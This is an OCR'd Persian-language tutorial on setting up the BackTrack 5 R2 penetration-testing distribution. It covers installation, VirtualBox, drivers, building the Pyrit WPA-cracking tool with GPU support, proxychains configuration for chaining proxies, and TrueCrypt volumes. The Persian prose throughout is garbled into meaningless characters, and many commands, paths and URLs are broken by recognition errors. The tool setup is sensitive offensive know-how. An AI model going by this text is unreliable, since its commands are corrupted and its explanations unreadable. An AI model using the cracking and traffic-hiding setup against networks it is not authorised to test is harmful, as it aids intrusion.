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(Information gathering) wledb! 5,5l 2oz ()

(Vulnerability Identification) caxs bl Lol (Y

Bluetooth, RFID A+ Y.\ \ sla JSSg, L (Network Analysis) pew o slo asiis 5JUT(Y
(Privilege Escalation) jsme cwS (F
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Voice Over IP(VOIP) (#
(Network Mapping) aS.ss b i (Y

(Web Application Analysis) oy cou sla asli s 5JGT (A

(Exploit & Social Engineering Toolkit) .ol sle 0 i aiS (4

(Maintaining Access) jlxe pé  owyws eSS (Vo
(Reverse Engineering) _wsSas  cwdige())
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ister Home Edition - Free For Home Users = | 2 |

View » o8 Partiions ~ (& Wizard ~ §3 Advanced ~ 4 Helb - IEase >

o & & » M & 9 &
Refresh | Create  Partiion recovery Data recovery Backup tool Bootable CD Upgrade  Join our newsletter
# | Partition File System Capadity Used Unused Status Type
% Disk 1 (MBR)
* Unallocated 101.00 MB 0 Bytes 101.00 MB Logical
C: MTFS 12.90 GB 15. 15 GB 1.75 CGB Primary
- Other 43.53 GB 43,53 GB 0 Bytes Logical
Other 2,16 GB 2,16 GB 0 Bytos Logical
MTFS 29.29 GB 26,40 GB 2.89GB Logical
MTFS 273.12 CGB 13.62 GB 220.81 CB Logical
MTFS 208.93 GB 23.33GB 155.65 GB Logical
Unallocated 85.21 GB 0 Bytcs 85.21CB Logical

. Disk1 (— (] m v
Bacic MBR JoEENT] et L D] E(NTES) F: (MTF5) unzllocated
A O | 49053 | (| 29| 2343468 208.98 GB Ho.24 GB
5608.64 GB
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Where are you?

Select your location, so that the system can use appropriate display conventions for
your country, fetch updates from sites close to you, and set the clock to the commect
local time.

Region: !Eumpe v | Time Zone: |United Kingdom Time | »

Step 2 of 7 Quit || Back | | Forward |

Keyboard layout

Which layout is most similar to your keyboard?

O |Suggested option_-:é United Kingdom

) Guess keymap:

() Choose your own:

You can type into this box to test your new keyboard layout.

Step 3 of 7 | Back | | Forward
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Prepare disk space

This computer has no operating systems on it.

Where do you want to put BackTrack Live?

© Erase and use the entire disk

| SCSI3 (0,0,0) (sda) - 21.5 GB VMware, VMware Virtual S

) Specify partitions manually (advanced)

I
I BackTrack Live

Step 4 of 7 Back | | Forward |

install a5 )5 sl (VY

Ready to install
Your new operating system will now be installed with the following settings:

Language: English

Keyboard layout: United Kingdom
MName:

Login name:

Location: Europe/London
Migration Assistant:

If you continue, the changes listed below will be written to the disks.
Otherwise, you will be able to make further changes manually.

-

IAduanced.., |

Step 7 of 7 Install
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Installing system

Creating ext4 file system for /in pariition #1 of SC513 (0,0,...

.restart now oLl (

* Installation Complete

_ Installation has finished. You can continue testing

e Ubuntu now, but until you restart the computer, any
changes you make or documents you save will not be
preserved.

| Continue Testing | || Restart Now

WS 0slg |y ol Led g wlss> o password g user Lais 1 (VO
User: root

pass: toor

root@bt: startx
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S Ll VG 58 e g 00,8 hog e &y 1y 2dd (Y

Disklmage 435 bl (Y

Distribution == Select Distribution == - | | == Select Wersion == - |

welcome to Unetbooting, the Universal Metboot Installer. Usage:
1. Select a distribution and version to download from the list abowve, or manually specify files to

load below.
2. Select an installation type, and press OK to begin installing.

@ Diskimage IS0 w» | nsics\BT 5r2-GHNOME-S<ET 5R.2-GMNOME-64.iso | |

Space used to preserve files across reboots (Ubuntu only): 0 =~ MB

Type: |L.ISB Dirive -—| Dirive: |H:'l, --l l | | ]

OS2 s |y 355 52K SO LB g 00,8 il |, BrOWSE ... g 03,8 bl 1O 1, wigeuy (F

ad glad gl goue Jlade g (O

Distribution == Select Distribution == x| i == Select Version == - |

Welcome to UNetbootin, the Universal Metboot Installer. Usage:

1. Select a distribution and version to download from the list above, or manually specify files to
load below,
2. Select an installation type, and press OK to begin installing.

@ Diskimage IS0 ~r| nsics\BT 5r2-GNOME-64'\BT SR 2-GMOME-64.is0 |

Space used to preserve files across reboots {Ubuntu IIII'||".-'

Type: |USB Drive v | Drive: [H:\ =) ol |




1. Downloading Files (Done)

2. Extracting and Copying Files (Current)

3. Installing Bootoader

4, Installation Complete, Reboot

Extracting files, please wait...

Archive: E;\&ppLibrary\Linux\Forensics\ET 5r 2-GNOME-64\BT 5R. 2-GMNOME-64.is0
Source: casper \filesystem, sguashfs (1973 MB)

Destination: H: \casper'filesystem. squashfs

Extracted: 2 of 23 files

Reboot-Now =l (Y

1. Downloading Files (Done)
2. Extracting and Copying Files (Done)
3. Installing Bootloader (Done)

4. Installation Complete, Reboot (Current)

After rebooting, select the USE boot option in the BIOS boot menu.
Reboot now?

| Reboot Mow ||

Dl o Yb g 048 o D USB 5 )b 51 S iS5 4 oo oo (A
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1) http://www.ucd.ie/itservices/itsuppo...singtruecrypt/

2) https://help.ubuntu.com/community/GPGKeyOnUSBDrive

3) http://www.ucl.ac.uk/isd/common/cst/...ngUSBTrueCrypt

4) http://www.wikihow.com/Install-Backtrack-Live-to-USB

(C(virtual-box ) g jlxe pmiilo (595 31 S 5K i) o3l b9
ol 5l glme pmiile glils ()

A. virtual-box.com

B. https://www.virtualbox.org/wiki/Downloads

Pasled 05bils 1) jeuisg o s Leds
New au 55 59, SIS (Y

-2 [ |

@ Create Mew Virtual Machine

VM Name and OS Type

Enter a name for the new virtual machine and select the type of the guest operating system you plan to install onto
the virtual machine.

The name of the virtual machine usually indicates its software and hardware configuration. It will be used by all
VirtualBox components to identify your virtual machine.

Mame

BackTrack 5 R.2 GNOME &4-bit

0S Type

Operating System: | Lirux

Version: |Ubuntu (54 bit)




9e25 BT 4 alss o a5 RAM 500 ol (¥

310 Lol s 955 o,y 4y (S ol Ram 1) aisG

B0,5 oy s A 000 e | 00l 485 530 (VM) (gilome iile (50,5 (gels 3l o 1V 4SS

-

@ Create Mew Virtual Machine

-2 [ |

Virtual Hard Disk

one from the list or from another location using the folder icon.

once the machine is created.

The recommended size of the start-up disk is 8.00 GB.
[¥] start-up Disk
@ Create new hard disk

|Uze existing hard disk

If you wish you can now add a start-up disk to the new machine. You can either create a new virtual disk or select

If you need a more complex virtual disk setup you can skip this step and make the changes to the machine settings

'@ Create Mew Virtual Disk

Virtual disk file location and size

Please type the name of the new virtual disk file into the box below or dick on the folder icon to select a different folder to

create the file in.

Location

BackTrack 5 R2 GMOME &4-bit

Select the size of the virtual disk in megabytes. This size will be reported to the Guest OS5 as the maximum size of this virtual

disk.

Size

P

3.00GB
2.00TB

MNext | | Cancel |




@ Create Mew Virtual Machine

Summary

You are going to create a new virtual maching with the following parameters:

Marme:; BackTrack 5 R.2 GNOME &4-bit

05 Type: Ubuntu

Base Memory: 512 MB

Start-up Disk: BackTrack 5 R2 GNOME &4-hit.vdi (Mormal, 8.00 GE)

If the above is correct press the Create button, Once you press it, a new virtual machine will be created.

Mote that you can alter these and all ather setting of the created virtual machine at any time using the Settings
dialog accessible throaugh the menu of the main window,

[ Create H Cancel

02555 VB g5, LS lys oslel 1, BT Lyl s

setting ol (F

==

G Oracle WhA VirtualBox Manager

File Flachine Help

SN

ettings HscaEra

LANMP Turmblewyl imousc

@.ﬂ.bartecl

BackTrack S r2

s U T T

|E-1-5:.- —|

i windows 7 22Bit

N/ @F"D'Nered aff
BackTrack 5 R2 Gnome 64-bit

49 » storage 4 (




{E} BackTrack 5 R2 Gnome 64-bit - Settings

'.@, General : Storage

Storage Tree Attributes

@ IDE Controller @ & - Mame: IDE Controller

() Empty Type: |PIIX4
ﬁ SATA Controller o | Use host I/0 cache

| BackTrack 5 R.2 Gnome 64-bit.w. .,
@ Serial Ports

& uss

glj Shared Folders

@C@e

Select a settings category from the dst on the left-hand side and move the mouse over 3 seitings
item fo get mare information.

0K H Cancel || Help

AS ol ) S eSS iso LB s

i {E} BackTrack 5 R2 Gnome 64-bit - Settings |i|i‘]

General : Storage

System

-

Storage Tree Attributes

Diispla r 7
BN | | (& IDE Controller CD/OVD Drive: |IDE Secondary Master {O ' -
Storage e ' = L ot T
1[+] E | | Live CD/DVD 2 Choose avirtual CD/DVD disk file...
@ SATA Contraller | | Information 1 Host Drive ‘Dt

MNetwork | Type: - o -
BackTrack 5 R2 Gnome 64-bit.v... L £ht5r2-Gnome64.isg

Seisl Ports e turnkey-lamp-11.3-lucid-x86.is0
UsB Location:

Attached To: Rerr from virtual drive
Shared Folders -

Audio

DL ST 00EE M

@@

Select 2 settings category from the list on the left-hand side and move the mouse over 3 settings
item fo get more nformation.

Ok H Cancel J| Help

S SIS OK (9, 2 caled yo (Y




SsS SIS start (g9, 5 00,5 ol |, Backtrack

-

8@ Oracle WM VirtualBox Manager

File

8§ Uracle VM Virtualbox Manager

Mew  Setings

3 Xp_sp3
_'xl g Powered Off

R

PMachine Help

LAMP Turmbewyl imuous

@Abnrted

BackTrack S r2

Windows 7 32Bit
() Powered OFfF

il oo " Jele i L plgie 4 SRS ceal” by, e o ceai ogo (4
:virtual-box g, » VM-Tools cuai

4+ BT5_ [Running] - Oracle V ualBox | = |E -&]
Machine  View | Devices p

CD/DVD Devices
USE Devices

7 Shared Clipboard
Drag'n'Drop
Netwaork Adapters...
Shared Folders...

[E  Enable Remote Display
" Install Guest Addition... st+D

4 m 1

Mount the Guest Addtions installation image \9 ,_9 = [#] right ctrl




rroot — password 4015 yuuss

passwd :Jlee 5 ;o jgiwd 59,5 5)lg

1 w9y (551050 ol
service [name-service] [start/stop]
service apache?2 start

service pure-ftpd stop
rnetcat b g gyw Condy (50,5 S
netcat -tpan | grep 22

u)s.: o)Lo.w

‘FTP server (2 8 S

netcat -tpan | grep 21

e (g gy Aliod 5 g g pw 5 41 £9 00
update-rc.d —f <service name> defaults
update-rc.d —f ssh defaults
ey g e & BB gy 00,5 JUd 5f g Jled sl 1SS
applications > backtrack > services
rase byl
W9 ) e L

Applications>>>Internet >>>>Wicd Network Manager

2 ogo b




wicd-gtk --no-tray
g key cwnd jo g 00,5 SIS properties g, 9 00,5 ol | L 5,50 aSls WiFFi a0 ol Loy sl
DS 0K g 0S asine ol oy slp o2 |, €ncryption eo

About

=k | Disconnect All Refresh \ Preferences

Choose from the networks below:

GetAway 64% WPA Channel 11
[ Automatically connect to this network

| Connect | | Properties

Not connected

) Use Static IPs

M Use Static DNS

L]
1 Use these settings for all networks sharing this essid

M Use Encryption
-
]

| WPA 142 (Passphrase)
I----------------I

Ky

| Scripts I Information |




system >> preferences >> keyboard
DS aseine |y 095 by g 00,8 Gl |y add anF wugp layouts o 4 e
S SIS option sg, b w5 shorteut sla odS cyols s sl

SS ol |y Key(S) to change layout as

1 g (40,5 Al

gy Ry g A

35 option 5l isu cpl 40 e

S olsesl 1 alt + shift : olgduiay

Keyboard Preferences

General | Layouts !Accessibility Mouse Keys | Typing Break

Separate layout

¥ New windows us|

Keyboard model: [

| Options...

Type to test settings:

Keyboard Layout Options

= LOmMposeE KEY POSItoTT

P Ctrl key position

P> Japanese keyboard options

P> Key sequence to kill the X server
7 Key(s) to change layout

Alt+CapsLock

Alt+Ctrl

Alt+shift

Alt+Space

Any Win key (while pressed)
Both Alt keys together

Both Ctrl keys together
Both Shift keys together

D000 0rRDOO

a.azimzadeh

F ol HIBle Y coad

S e |y 158l e 3 Yl les Mad Jg 0l dwles con Ol jgiws 4y axly JolS pg Juad o

1. sudo apt-get update

2. apt-get install synaptic

apt-get install software-center

apt-get install synaptic sudo

sudo apt-get install software-center




Backtrack 4o ,5 ol

Ao IS0

Iy dead opl colS cpl fLoJ‘ 3as g e &9 ol lalase 0 I3 (gl ) Gl 019 Mad e il @y 1SS

uileze
dly ood i onl sle Jad e K00 ol g 0Bl (o0 pj sl Jad e pyslaie
driver broadcom cas ()
driver ATl video card s (¥
kernel headers . (Y
driver NVIDIA card cwas (f
: kernel headers (45,5 osbol g angs
PaS oslg 1y Ol giws
1) prepare-kernel-sources
2) cd /usr/src/linux

cp -rfinclude/generated/* include/linux/

3) prepare-kernel-sources




File Edit WView Terminal Help
:~# prepare-kernel-sources
[#] Kernel source seems to be available
HOSTCC scripts/basic/fixdep
HOSTCC scripts/kconfig/conf.o
HOSTCC scripts/kconfig/zconf.tab.o
HOSTLD scripts/kconfig/conf
scripts/kconfig/conf --silentoldconfig Kconfig
HOSTCC scripts/mod/mk elfconfig
MKELF scripts/mod/elfconfig.h
HOSTCC scripts/mod/file2alias.o
HOSTCC scripts/mod/modpost.o
HOSTCC scripts/mod/sumversion.o
HOSTLD scripts/mod/modpost
HOSTCC scripts/selinux/genheaders/genheaders
HOSTCC scripts/selinux/mdp/mdp
HOSTCC scripts/skallsyms
HOSTCC scripts/conmakehash
HOSTCC scripts/bin2Zc
HOSTCC scripts/recordmcount
CHK include/linux/version.h
CHK include/generated/utsrelease.h
cC archy/xge/kernel/fasm-offsets.s
prepare-kernel-sources GEN include/generated/asm-offsets.h
CALL scripts/checksyscalls.sh
[#] tada!

‘'usr/src/linux
g i # cp -rf include/generated/* include/linux/
# prepare-kernel-sources
[#*] Kernel source seems to be available
scripts/kconfig/conf --silentoldconfig Kconfig
CHK include/Llinux/version.h
CHK include/generated/utsrelease.h

1) cd /tmp/

broadcom ,g¢:1,0 —uai

:Jol Bh9)

p by

wget www.broadcom.com/docs/linux_sta/hybri-portsrc_x86_64-v5_ 100 82 112.tar.gz




raodcom. com/docs/linux sta/hybri-portsrc X86gb4-v

wW.braodcom.c s/linux stz briportsr

. connected.

ecif [iex _T
hybri-portspenx8e=6d - uSm1B0482 112 . tam gad

| 53,526 ZA9K fs "= in Bads
21:55:16 (249 KB/s) - "hybri-portsrc x86 64-v5 100 82 112.tar.gz' s
ygd el (Y
mkdir broadcom
Pl 00l 00,28 aST L o S extract (Y
tar xvfz hybrid-portsrc_x86_64-v5 100 82 112.tar.gz -C /tmp/broadcom
2 s (F

make clean

make

make install

5) update dependencies :
depmod -a

Lt el YU jo e Jgsle ol YU 51 50,8 (6 gl (£
echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf

S oo Sh s b oad by slo Js3le (V
rmmod <module>b43
e el Y 5o o Jasle 0aT VU 51 05 (6555l (A
echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf
. boot-process 4 wazx Jgile 0,5 aslsl(

modprobe wl




1P9d M9y
)J) )93.“:-) (\
Ispci -vnn | grep Network

(0 o 50 YU gt dze S

Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller [14e4:4727 ] (rev01)

1S S 5 Salw yo | sawl caws 4 PCI-ID (Y

http://wireless.kernel.org/en/users/Drivers/b43

e4:472714 - ye ol (¥
:W

sudo apt-get remove bcmwl-kernel-source
sudo apt-get install b43-fwcutter

S 35b1s 7w J5F 50 1) T b e a5 09 Tyl ol (Soe giml jgiwd
sudo apt-get install firmware-b43-installer

cat /etc/modprobe.d/* | egrep 'bcm'

1S e Syge ol 4wl Slcae 0K oS cadd jo s 093y ol el ol ST
.asb blackllist jo wb el ! blacklist bcm43xx

waps all |y s J>lie 098 Ojge 40

cd /etc/modprobe.d/
sudo gedit blacklist.conf

blacklist bcm43xx




tbroadcom 11,0 cuai gl (g0 9,5 s col

http://wireless.kernel.org/en/users/Drivers/b43

http://askubuntu.com/questions/55868...reless-drivers

https://help.ubuntu.com/community/Wi...Driver/bcm43xx
http://wiki.debian.org/bcm43xx

http://www.linuxquestions.org/questi...u-lucid-875477
http://ubuntuforums.org/showthread.php?t=915449

: ATl video card (g;leil ol g cuai
)J) )93.‘.0-) (\
cd /tmp/

s Bl oglils (Y
http://support.amd.com/us/gpudownload/Pages/index.aspx

wget http://www?2.ati.com/drivers/linux/amd-driver-installer- 12-1-x86.x86_64.run

>] 186,085,279

/s) - 'amd-gaiuer-installer-IE-l-xdn.xSE 64 . ron™saved, [ 106

sh amd-driver-installer-12-1-x86.x86_64.run




* AMD Catalyst{TM) Proprietary Driver 8.93 Setup

Options

=~ |nstall Driver 8.93 on X.Org 6.8 or later 64-bit

~ Generate Distribution Specific Driver Package

S restart 1) g (F

apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake

:AMD APP SDK s4lls (£

wget http://devel oper.amd.com/Downl oads’AMD-APP-SDK-v2.6- Inx64.tgz

mkdir AMD-APP-SDK-v2.6-Inx64

‘S

tar zxvf AMD-APP-SDK-v2.6-Inx64.tgz —C /tmp/AMD-APP-SDK-v2.6- Inx64

cd AMD-APP-SDK-v2.6-Inx64

olgd cLus (V

)L..: o.b)...’l'.é )\ Qa; C)B (A

) e 40 58, (4




10) sh Install-AMD-APP.sh

11) echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc

ssource ~/.bashrc

cd /tmp/

svn co https://calpp.svn.sourceforge.net/svnroot/cal pp calpp
cd calpp/trunk

cmake

make

make install

cd /tmp/

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit

python setup.py build

python setup.py install

cd /tmp/pyrit_src/cpyrit_opencl
python setup.py build

python setup.py install

cd /tmp/pyrit_source/cpyrit_calpp

vi setup.py

VERSION ='0.4.0-deV'

. Pyrit g CAL+ 5l bLeols oglils (VY

:OpenCL ceas (VY

cpyrit_calpp LB o ol s ool (VF




VERSION ='0.4.1-deV'

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include'))

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL"))

python setup.py build

python setup.py install

: NVIDIA video card ;51,5 cuai

o2 oo 5138 1 oYY Ll o cwl So PTGl g e 1SS

1) cd /tmp/

2) wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/driv ers/NVIDIA-Linux-
x86_64-285.05.33.run

er.download. nvidia. com/comput : /NVIDIA-Linux

rel/drivers/NVIDIA

e TS >] 36,710,739,~~694K/s  in| 80s
:05:12 (690 KB/s) - "NVIDIA-Lintix-x86_64-28 5.33.run" saved [587107 18739]
:/tmp# ]
:[n)'y By =) Qo\o (TJ
chmod +x NVIDIA-Linux-x86_64-285.05.33.run

4) ./NVIDIA-Linux-x86_64-285.05.33.run —kernel-source-path="'/usr/src/linux'




:cuda toolkit sebils (

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/tool
kit/cudatoolkit_4.1.28 linux_64_ubuntul1.04.run

6) chmod +x cudatoolkit_4.1.28 linux_64_ubuntul1.04.run

.Jcudatoolkit_4.1.28 linux_64 ubuntul1.04.run

echo PATH=SPATH:/opt/cuda/bin >> ~/.bashrc

echo LD_LIBRARY_PATH=SLD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc
echo export PATH >> ~/.bashrc

echo export LD_LIBRARY_PATH >> ~/.bashrc

9) source ~/.bashrc

Idconfig

apt-get install libssl-dev python-dev python-scapy (
11)

a. svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit
python setup.py build
python setup.py install
. cd /tmp/pyrit_src/cpyrit_cuda
python setup.py build
python setup.py install

(2l 008 Sl OF

pyrit benchmark




apt-get update

apt-get upgrade

apt-get dist-upgrade

4) apt-get install squid3

update-rc.d -f squid3 remove

vim /etc/proxychains.conf

#dynamic_chain

dynamic_chain

t Bl sl byl 0,5 SkilS 9 coyT g 1,2l

1] 4 abgyye slo (Sily 5 s 0,5 Conyl ()

s (30,5 2,51 (Y

(0529 R 4 58,5 0 ST (Y

: ProxyChains cuas

DS S ol dDho,ls 00,8 o 1) s oyl




The option below identifies how the ProxylList is treated.
only one option should be uncommented at time,
otherwise the lLast appearing option will be accepted

snamic_chain

Dynamic - Each connection will be done wia chained proxies
all proxies chained in the order as they appear in the list
at Least one proxy must be online to play in chain

{dead proxies are skipped)

otherwise EINTR is returned to the app

strict_chain

Strict - Each connection will be done wvia chained proxies
all proxies chained in the order as they appear in the list
all proxies must be online to play in chain

otherwise EINTR is returned to the app

random_chain

CRTE R O

# Random - Each connection will be done wia random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS :)

# Hake sense only if random chain
#chain_len = 2

== INSERT --

ProxyList format
type host port [user pass]
(values separated by "tab" or "blank")

Examples:

socksS 192.168.67.78 1080 secret
http 192.168.89.3 8080 hidden
socksd 192.163.1.49 1680
http 192.168.39.93 8080

proxy types: http, socksd, socks5S
( auth types supported: "basic"-http "'user/pass'-socks )

#
#
&
#
#
#
#
#
#
#
&
&
#
#
#
#

[ProxylList]

# add proxy here ...

# meanmwile

# defaults set to

socksd 127.0.06

socksS a8,

socksS 75

socksd 189,87

sockss B2, 3

socksS 122.194,.11.208 1080
sockss 178.33.204.42 1080f
== TNSERT --




ionSon orl b cole (50,8 5L (F
proxyresolv www.targethost.com
proxyresolv www.yahoo.com

: TrueCrypt L b, ,wd 5,Kim,

N9y R e & ()
Applications | BackTrack | Forensics | Digital Anti Forensics | install truecrypt

TrueCrypt 7.1la Setup

TrueCrypt iz a software system for establizhing and maintaining an
on—the-fly-encrypted volune {data storage device}. On-the-fly encryption
means that data are automatically encrypted or decrypted right before they
are loaded or zaved, without any user intervention. Ho data sztored on an
encrypted volume can be read {decrypted} without using the correct
pazsword/keyfile{s} or correct encryption keys. Entire file systen is
encrypted {e.g., file nanes, folder nanes, contents of every file,

free space, mneta data, etcl,

Pleaze select one of the below options:

|EHit||EHtract .tar Package File || Install TrueCrypt

Fawvorites Tools Settings Help

Size Mount Directory

CeoCCeEetelt

| Create Volurmec

Volumeoe
E [ | | | selecl File
B MNever save history [ wolume Tools... | | Select Device...

|Aut0—M ount Devices 1 Dismount All Exit




File %wolumes Eevfiles Tools Setkings

B TruecCrypt

create volume (f

_ 1ol x|

Help Homepage

Dirive | Yolume

| -

Sizel Encryplion Algorithm | Twpe

b i=H
S (5!
e H:
e 1
b H
S |
e |
S [
S [
S 1)
S P
e
g 5
S T

Creake Yolume

volume Properties, ., I Wipe Cache

v Mewver save hiskory

=

Yalume Toals. .. I

Select File...

Select Device. ..

Auto-Mounk Devices

Disrmount all

E' TrueCrypt Yolume Creation Wizard

=101 x|

TrueCrypt Volume Creation Wizard

{* Create an encrypted file container

Creates a virtual encrypted disk within a file, Recommended Far
inexperienced users.

More information

" Encrypt a non-system partition/drive

Encrypts a non-system partition on any internal or external
drive (e.q. a flash drive). Optionally, creates a hidden wolume.,

(@ Encrypt the system partition or entire system drive

Encrypks the partition/drive where Windows is installed. Anvone
whio wants to gain access and use the syskem, read and write
files, ekc., will need to enter the correct password each time
before Windows books, Optionally, creates a hidden swstem,

More information about svstem encryption

Cancel |

Mext =




Volume Type

¥ standard TrueCrypt yolume

Select this option if wou wank ko create a normal TrueCrypk
volume,

" Hidden TrueCrypt yolume

It may happen that vou are forced by somebody ko reveal the
passward ko an encrypted volume, There are many situations
where wou cannot refuse to reveal the password (For example,
due ko extortion), Using a so-called hidden volume allows wou to
solve such situations without revealing the password bo wour
wolume,

More information about hidden volumes

J.Ia) o)y)y‘)dwubw‘ 4

Volume Location

! _'_] Select Eile. ..

V¥ Mever save history

& TrueCrypt volume can reside in a file (called TrueCrypt container),
which can reside on a hard disk, on a USE flash drive, etc. &
TrueCrypt container is just like any normal file Gt canbe, For
example, moved, copied and deleted as any normal File), Click.
'Select File' ko choose a filename For the container and to select the
location where you wish the container to be created,

WARMNING: IF vou select an existing File, TrueCrypk will MNOT encrypk
it; the File be deleted and replaced with the newly created
TrueCrypt container, You will be able to encrypt existing files {later
an) by mosving them to the TrueCrypt container thak you are abouk
Fo create now,

Help




Specify Path and File Name

Look in: IQ My Documents |v| = IC:F -

File name: I\dy "ol

Files of tupe: f 4l Filess %)

Save

4
Cancel |
)

Volume Location

I Cn My DocumentsiMy Yaolume j Select Eile. .. |

V¥ Mever save history

& TrueCrypt volume can reside in a file (called TrueCrypt container),
which can reside on a hard disk, on a USE flash drive, etc, &
TrueCrypt container is just like any normal file Gt canbe, For
example, moved, copied and deleted as any normal File), Click.
'Select File' ko choose a filename For the container and to select the
location where you wish the container to be created,

WARMING: IF vou seleck an existing file, TrueCrwpt will MOT encrypt
it; the file be deleted and replaced with the newly created
TrueCrypt container, You will be able to encrypt existing files {later
on) by moving them to the TrueCrypk container that vou are about
Fo create now,




Encryption Options

—Encrypion Aloorithm

O -] = |
FIPS-approved cipher (Rijndael, published in 1998) that may be
used by LS. government departments and agencies to protect

classified information up to the Top Secret level, 256-hit key,
128-hit block, 14 rounds (AES-256), Mode of operation is T3,

Maore information on AES Benchrark. I

—Hash Algarithm

RIPEMD-160 j Information on hash algorithms

= Prew ! Mext = I Cancel |

Do aizle gl S s 1) 093 volume ple sl o (V)

Volume Size

H | ks Mg ( GB

Free space on drive D:\ is 846.56 MB.

Please specify the size of the container ko create,

If wou create a dynamic (sparse-file) container, this parameter wil
specify iks maximum size.

Mote that the minimum possible size of a FAT volume is 275 KB,
The minirmum possible size of an NTFS vaolume is 2829 KB,

= Prew ! Mext = I Cancel |




Volume Password

Password: |

Confirrm: l

I Display password
I Use kevfiles

Ik is wery importank that wou choose a good password, You should
avoid choosing one that contains only a single word Ehat can be
Found in a dickionary {or a combination of 2, 3, or 4 such words), It
should not contain any names ar dates of birkh, It should not be easy
ko guess. & good password is a random combination of upper and
|ower case letters, numbers, and special characters, such as @ ™~ =%
* + ekc, We recommend choosing a password consisting of more than
20 characters (the longer, the better). The maximum password
length is 64 characters.

= [

< Prew ! Mext = I Cancel |

Volume Format

— Opkions

Files';.-'stem!F.qT vi ClusteriDeFault vi [~ [vnarnic

Fandam Pool: A0E0SEC33EBGD3FAI0AOSFG355622D14., W
Header Kew:
Master key:

Aok |

Done i i speed | Left i

IMPORTAMT: Move wour mouse as randomly as possible within this
window, The longer wou mowve it, the better, This significantly:
increases the cryptographic skrength of the encryption keys. Then
click Format ko create the volume.,

Help Cancel |




YWolume Created

The TrueCrvpt wolume has been created and is readw For use. IF
wou wish to create another TrueCrypt volume, click Mexk,
COkherwise, click Exit,

i

File “olumes Keyfiles Tools Setkings Help Homepage

Drive| Valume Size| Encrypion Algorithm | Type |_‘_
o J=H
Sa (3]
e H:
b H
Salt ]:
S |
i
B W
Sa [
a0
Sl P
b i ®H
o _J-H
Sl T

Create Yolume Volume Froperties, ., Wipe Cache

Wolume

I _:I | Seleck File...

¥ Newver save histary
Wolume Tools. .. |

Select Device. ..

” ‘ Auto-Mount Devices || | Dismount All ” ‘




S 1=l

File “olumes Kewfiles Toaols Setktings Help Homepage

Drive| Wolume Size| Encrywption Algorichinm | Tvpe |;

Create Yolume Yaolume Properties, ., I Wipe Cache

Yolume

Seleck File. ..

v mMewver save hiskors

volume Tools. .. Select Device. ..

|| | Aukto-Mounk Devices | | Dizrnounk All || |

oS Sl 1 gy ous azsl my volume #L L as' |, slvolume (VA

Select a TrueCrypt ¥Yolume ?| X|
Look jr: I I3 My Documents vI = =F E-
I! My Wolurme I

File name: IM_I.-I walume

Files of tupe: |20 Filss (7.7




[Ty

File “Wolumes EKewfiles Taoaols Settings Help Homepage

Dri'-.-'el Yolume Sizel Encrwption Algorithim | Tvpe |;

S
Sl (5

Create Yolume wolume Properties, ., I Wipe Cache

walurme

I Dy Documents My Yolurme vI | Seleck File. ..

v Mewver save history

Yolume Tools. .. I Seleck Device. ..

“ | Auto-Mount Devices | | Disrmount All || |

B TrueCrypt = 0] =l

File Molumes  Eewfiles Tools Settings Help Homepage

Dri\.-'el Yalume Size | Encryvption Algoricthm | Type |_:

Enter password for DMy Documents'y

Password: f (o] 4

[T Display Password
I Use keyfiles Kevfiles. . Mounk Options. .

[~ cache passwords and keyFiles in memory Cancel I

QAL L || Lt e e e | ) =

CF ESrErTeTTTe T

walurme

I D4 My Documenks My Wolume vI Seleck File. ..

IV Mewver save hiskary

vaolure Tools. .. I Select Device. ..

Auto-Mounk Devices Disrmount All




File Molumes Eewfiles Tools Sekbings Help

Drivel volume Size | Encryption algorithim Tvpe

o E
e cH
St H 1
e o
Sl ]
S |
e |
S [
b b H
S ()
e P Qrd:l

T Cache passwords and keyFiles in memory Zancel I

I pisplay Passward
I Use kevfiles Kevtiles, . Mounkt Cprions. .. I

CF B S e T AP L L | o B vt | T

Walume

I DMy Documents) MMy Yolume vI Seleckt File. ..

¥ Mewver save histary
wolume Tools. .. I Select Device. ..

|| | Auto-Mounk Devices I| | Dismounk All || |

E-'" TrueCrypkt = o] XI
File “olumes Kewfiles Tools Settings Help Homepage

Drive| Yolume Size| Encrypkion Algorithm I Tvpe |_;
S E
A cH
Sl H
e
L = H
S |

_reate Yolume Yolume Properties. .. I Wipe Cache

walurne

I LMy Documenksi iy Yolume Seleck File...

W mewver save history ;
volume Tools. .. Select Device. ..

Disrnounk II | Auto-Mount Devices I| | Dismount All || |




! My Computer 1

_ ol x|

Fil= Edit ‘Wiew Faworites Tools

Help | a

sy
Biachk Forward Up

o
.=

Address _J by Computer

Refresh
2

Hames =

| Type =

e STSTEM [T
e Local Dizk [[:]
e |ocal Disk [F:

>

Local Disk,
Local Disk,
Local Disk

Local Disk =
;I_I

|Free Space: I:I.El?l | J ky Computer 4

0SS SIS dismount (g9, auS Bds 1) ouls izl volume wualss o a5 90 o (VF

E’ TrueCrypt
File “olumes Kevfiles Tools Settings Help

=101 x|

Homepage

Drive | Yolume

Sizel Encryption Algorithm | Type |;

S E.
S (3
S H:
]
L _RH
Sk
.L‘L.

Zreate Yolume Wolume Properties. .,

| Wipe Cache

Yolume

| DMy Documentst My Yolume

¥ Mewer save history

Yolume Toals, .. | Select Device. .,

j Select File...

| Dismounk || fAuko-Mounk Devices Dismaunt &l




P ygilyd iy (Jle g 63 1) s ol

S (o 9 S S yd (Jg Lt o £9:d90 4 S35 45 0SB

http://pkgs.org/ubuntu-10.04/ubuntu-... i386.deb.html
http://ubuntuguide.net/install-nvidi...tu-lucid-10-04

http://www.ubuntugeek.com/howto-inst...ucid-lynx.html

http://ldt-clan.com/forum/threads/26...butnu-10-4-LTS

http://www.truecrypt.org/
http://pkgs.org/ubuntu-10.04/ubuntu-... i386.deb.html
http://pkgs.org/ubuntu-10.04/ubuntu-... i386.deb.html

